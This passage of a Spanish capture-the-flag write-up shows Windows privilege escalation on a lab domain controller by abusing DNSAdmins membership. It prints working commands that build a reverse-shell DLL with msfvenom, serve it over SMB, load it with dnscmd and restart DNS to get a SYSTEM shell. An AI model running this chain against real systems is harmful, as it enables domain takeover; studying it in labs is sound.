Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Suneo\Documents> whoami
doraemon\suneo
Estamos dentro.
Aquí si encontraremos la flag del usuario:
*Evil-WinRM* PS C:\Users\Suneo\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Suneo\Desktop> type user.txt
...
Post Explotación
Abusando de Grupo DNSAdmins para Cargar Reverse Shell en un Archivo DLL y Escalar Privilegios
Revisemos que privilegios tiene este usuario:
*Evil-WinRM* PS C:\Users\Suneo\Desktop> whoami /priv
INFORMACIàN DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci¢n Estado
============================= ============================================ ==========
SeMachineAccountPrivilege Agregar estaciones de trabajo al dominio Habilitada
SeChangeNotifyPrivilege Omitir comprobaci¢n de recorrido Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada
Los mismos que los del usuario anterior.
Veamos a que grupos pertenece:
*Evil-WinRM* PS C:\Users\Suneo\Desktop> whoami /groups
INFORMACIàN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos
================================================================== ============== ============================================= =====================================================================================
Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios de administraci¢n remota Alias S-1-5-32-580 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Acceso compatible con versiones anteriores de Windows 2000 Alias S-1-5-32-554 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\NETWORK Grupo conocido S-1-5-2 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa¤¡a Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
DORAEMON\DnsAdmins Grupo S-1-5-21-3046175042-3013395696-775018414-1101 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
DORAEMON\Dorayaki Alias S-1-5-21-3046175042-3013395696-775018414-1109 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado, Grupo local
NT AUTHORITY\Autenticaci¢n NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio alto Etiqueta S-1-16-8448
Parece que este usuario pertenece al grupo DNSAdmins.
Vamos a investigar de que va este grupo:
Grupo DNSAdmins |
---|
El grupo DNSAdmins en Active Directory es un grupo predeterminado en Windows Server que otorga permisos especiales para gestionar y administrar la infraestructura DNS (Domain Name System) dentro de un entorno de Active Directory. Los miembros del grupo DnsAdmins pueden explotar sus privilegios para cargar una DLL arbitraria con privilegios de SISTEMA en un servidor DNS, a menudo alojado en Controladores de Dominio. |
Parece que podemos abusar de este grupo para escalar privilegios.
Investigando un poco más, encontré este blog:
En resumen, nos explica como abusar de este grupo, para cargar un archivo DLL que contiene una Reverse Shell desde un servidor SMB con el comando dnscmd.exe. Después, debemos reiniciar el servicio DNS para que se inyecte el archivo DLL en la memoria y se ejecute nuestra Reverse Shell.
¿Esto lo menciona BloodHound? Me parece que no, o al menos yo no encontre una mención sobre esta posible escalada de privilegios en la versión actual de BloodHound:
Nos menciona otra, pero en mi caso, no me funciono:
Continuemos.
- Primero vamos a generar nuestra Reverse Shell como un archivo DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=Tu_IP LPORT=443 -f dll -o revShell.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 9216 bytes Saved as: revShell.dll
- Vamos a levantar un servidor SMB en donde tengamos nuestra Reverse Shell:
impacket-smbserver smbFolder $(pwd) -smb2support Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies . [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed
- Abrimos una netcat utilizando rlwrap:
rlwrap nc -nlvp 443 listening on [any] 443 ...
- Desde nuestra sesión de Evil-WinRM, usaremos el binario dnscmd.exe para interactuar directamente con el archivo DLL que tenemos en el servidor SMB con tal de pasarlo a la memoria como SYSTEM, y usando los parámetros config y serverlevelplugindll, le damos la ruta de nuestro servidor:
*Evil-WinRM* PS C:\Users\Suneo\Desktop> dnscmd.exe /config /serverlevelplugindll \\Tu_IP\smbFolder\revShell.dll Propiedad del Registro serverlevelplugindll restablecida correctamente. Comando completado correctamente.
Parámetros | Descripción |
---|---|
dnscmd.exe | Herramienta de línea de comandos para administrar servidores DNS. |
/config | Subcomando que modifica la configuración del servidor. |
/serverlevelplugindll | Indica que se quiere establecer una DLL personalizada para ejecutar en el contexto del servicio DNS (dnssvc). |
ruta_dll | La ruta completa hacia el archivo .dll que se quiere cargar como plugin. |
- Por último, reiniciamos el servicio DNS usando el comando sc.exe:
*Evil-WinRM* PS C:\Users\Suneo\Desktop> sc.exe stop dns . NOMBRE_SERVICIO: dns TIPO : 10 WIN32_OWN_PROCESS ESTADO : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) CàD_SALIDA_WIN32 : 0 (0x0) CàD_SALIDA_SERVICIO: 0 (0x0) PUNTO_COMPROB. : 0x1 INDICACIàN_INICIO : 0x7530 *Evil-WinRM* PS C:\Users\Suneo\Desktop> sc.exe start dns . NOMBRE_SERVICIO: dns TIPO : 10 WIN32_OWN_PROCESS ESTADO : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) CàD_SALIDA_WIN32 : 0 (0x0) CàD_SALIDA_SERVICIO: 0 (0x0) PUNTO_COMPROB. : 0x1 INDICACIàN_INICIO : 0x4e20 PID : 2044 MARCAS :
- Observa que después de reiniciar el servicio DNS, hubo una conexión a nuestro servidor SMB que parece está ejecutando el archivo DLL que tiene nuestra Reverse Shell:
impacket-smbserver smbFolder $(pwd) -smb2support Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies . [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Incoming connection (192.168.10.5,49702) [*] AUTHENTICATE_MESSAGE (DORAEMON\WIN-VRU3GG3DPLJ$,WIN-VRU3GG3DPLJ) [*] User WIN-VRU3GG3DPLJ\WIN-VRU3GG3DPLJ$ authenticated successfully [*] WIN-VRU3GG3DPLJ$::DORAEMON:aaaaaaaaaaaaaaaa:d75522782ff4a27cc3132124... [*] Connecting Share(1:IPC$) [*] Connecting Share(2:smbFolder) [*] Disconnecting Share(1:IPC$)
- Y observa la netcat:
rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [192.168.10.5] 49703 Microsoft Windows [Versi�n 10.0.14393] (c) 2016 Microsoft Corporation. Todos los derechos reservados. . C:\Windows\system32>whoami whoami nt authority\system
Estamos dentro.
Ya solo tenemos que buscar la última flag:
C:\Windows\system32>cd C:\Users\Administrador\Desktop
cd C:\Users\Administrador\Desktop
.
C:\Users\Administrador\Desktop>type root.txt
type root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://github.com/ropnop/kerbrute
- https://github.com/peass-ng/PEASS-ng/tree/master
- https://github.com/61106960/adPEAS/tree/main
- https://github.com/SpecterOps/BloodHound
- https://github.com/SpecterOps/SharpHound
- https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
- https://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin/
- https://medium.com/r3d-buck3t/escalating-privileges-with-dnsadmins-group-active-directory-6f7adbc7005b
- https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmins#dnsadmins